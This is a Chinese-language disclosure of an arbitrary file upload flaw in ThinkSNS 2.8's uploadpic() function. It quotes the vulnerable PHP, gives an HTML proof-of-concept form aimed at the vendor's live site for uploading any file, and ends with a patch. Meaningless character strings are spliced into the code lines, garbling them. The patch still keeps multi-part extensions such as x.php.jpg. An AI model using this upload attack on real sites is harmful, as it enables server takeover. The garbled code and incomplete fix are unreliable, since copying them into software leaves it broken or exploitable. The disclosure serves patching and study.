ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。


\api\StatusesApi.class.php

; U7 l) P  }) u- P4 T( k- gfunction uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
! ~8 K# r' W8 l) R. D1 r     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
0 y! t( c, M  ~/ ]% v( o: O0 |    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
8 T. j' o7 M" `9 i        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
4 {: e! S6 q/ f9 i       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
, n- E: i+ K. w- r, P) ]9 u       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
( W( T. \* H3 W( H     }
return $result;
    }
unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
& l1 j; n+ y8 a8 w  p( |; h5 J0 |% R/index.php?app=w3g&mod=Index&act=doPost

在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

5 b: \3 y6 `. j, O! w
在登录thinksns官方微博后,
构建以下表单:
- f! y7 ]2 i- U8 j0 Z6 [
6 ?. m/ ~" G. }( O) y( ?. t<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
+ e& D  z; z6 N. o3 ?- Z! K. H& Y<textarea name="content">test</textarea>
& ]% B" T" A4 M  Q: tfile: <input id="file" type="file" name="pic" />
8 |) v1 B, q! q7 r; ~: W<input type="submit" value="Post" />
</form>
6 F9 \% i- l$ x! |- a' Y% w: U" B去掉缩略图的前缀(small_ )
​修复方案：
8 H! |# V; g4 `+ E) j7 I) i
! k5 g7 c  C" k1 E2 y) K& d
\api\StatusesApi.class.php
* Y3 T5 B" W6 T& v  W
/ ~! v) q# C! T' T6 q" ]% Ifunction uploadpic(){
     /**
      * 20121018 @yelo
      * 增加上传类型验证
2 Z, J  E, R$ Z( p# F  S' ]* o      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
" k; q; i! J' v     $ext = $pathinfo['extension'];
. x: F1 Y! O6 C! l $allowExts = array('jpg', 'png', 'gif', 'jpeg');

     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
) t+ N& r, `* f; a
     if( $uploadCondition ){
% i2 U2 _" C& p7 @' M" t1 R     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
. k0 B" z& l# t4 c    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
6 o9 S7 M. Y8 H5 u       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
- M4 [0 \# {: @6 S* C7 N& L        $result['message']   = '上传失败';
* ~; ?" S1 [' d       }
3 t4 ^) s5 v5 M  T3 D     }else{
         $result['boolen']    = 0;
: O! k3 z, ^% y( l# ^- T         $result['message']   = '上传失败';
, b& d: |' o1 D' k! ^0 p     }
return $result;
0 C0 @, p" i/ ]7 |! b    }
4 Z" a  P  F9 q% D# @% f. p, K​

& H- _7 O9 t0 Z& A5 w